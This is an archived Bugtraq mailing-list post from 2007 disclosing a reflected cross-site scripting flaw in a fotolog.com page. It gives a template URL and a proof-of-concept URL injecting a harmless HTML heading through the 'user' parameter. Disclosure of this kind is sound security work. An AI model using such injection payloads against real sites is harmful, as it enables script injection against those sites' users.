[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

fotolog xss

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: fotolog xss
From: absamu@xxxxxxxxx
Date: 11 May 2007 01:47:33 -0000

example:
http://www.fotolog.com/all_photos.html?user=[code]

http://www.fotolog.com/all_photos.html?user=%3Ch1%3EXSS%3C/h1%3E

bye

Prev by Date: [ MDKSA-2007:102 ] - Updated php packages fix multiple vulnerabilities
Next by Date: TFTPdWin 0.4.2 Server Directory Traversal Vulnerability
Previous by thread: [ MDKSA-2007:102 ] - Updated php packages fix multiple vulnerabilities
Next by thread: TFTPdWin 0.4.2 Server Directory Traversal Vulnerability
Index(es):
- Date
- Thread